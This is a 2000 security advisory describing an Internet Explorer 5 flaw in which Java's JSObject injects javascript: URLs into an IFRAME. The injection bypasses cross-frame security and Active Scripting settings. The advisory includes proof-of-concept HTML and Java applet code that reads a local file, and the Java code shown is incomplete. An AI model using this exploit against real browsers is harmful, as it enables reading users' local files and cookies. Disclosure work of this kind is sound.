Georgi Guninski security advisory #10, 2000

IE 5 security vulnerablity - circumventing Cross-frame security policy using Java/JavaScript (and disabling Active Scripting is not that easy)

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The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or  indirect use of the information or functionality provided by this program.Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof.

Internet Explorer 5.01 under Windows 98 (suppose all other versions are also vulnerable) allows circumventing "Cross frame security policy" by accessing the DOM of documents using Java/JavaScript.
This exposes the whole DOM of the target document and opens lots of security risks.
This allows reading local files, reading files from any host, window spoofing, getting cookies, etc.

Note: This is NOT a bug in the Java language, this is a bug in Microsoft's implementation of Java in IE.
Usually, IE 5.x does not allow assigning "javascript:" urls to the location object because this is dangerous.
But this may be circumvented with the help of the interaction between Java and the DOM/JavaScript.
The Java JSObject allows setting DOM properties from Java and allows setting a hostile javascript url to IFRAME's location. This leads to circumventing cross-frame security policy.

Another issue is that choosing the option "Disable Active Scripting" from the security menu does not always disable Active Scripting.
If you have Java enabled, Active Scripting may be executed.
The problem seems to be the fact that IE always executes Active Scripting in "My Computer" zone and with Java one may inject javascript:
URLs in IFRAMEs in "My Computer" zone.
So, to really disable Active Scripting disable Active Scripting and disable Java.

The code is:
<IFRAME ID="I1" NAME="I1" SRC="file://c:/test.txt"></IFRAME>
<applet MAYSCRIPT code="jsinject">
<param name="jscode" value="javascript:alert(document.body.innerText)">
<A HREF="javascript:document.applets[0].doit()">Read the file</A>
import java.applet.Applet;
import netscape.javascript.*;

public class jsinject extends Applet {

public void doit()
    JSObject win = (JSObject) JSObject.getWindow(this);
    JSObject doc = (JSObject) win.getMember("document");
    JSObject I1 =  (JSObject) doc.getMember("I1");
    JSObject loc = (JSObject) I1.getMember("location");
    catch(Exception x){System.out.println(x.toString());}

Demonstration is available at:

Workaround: Disable Java

Copyright 2000 Georgi Guninski

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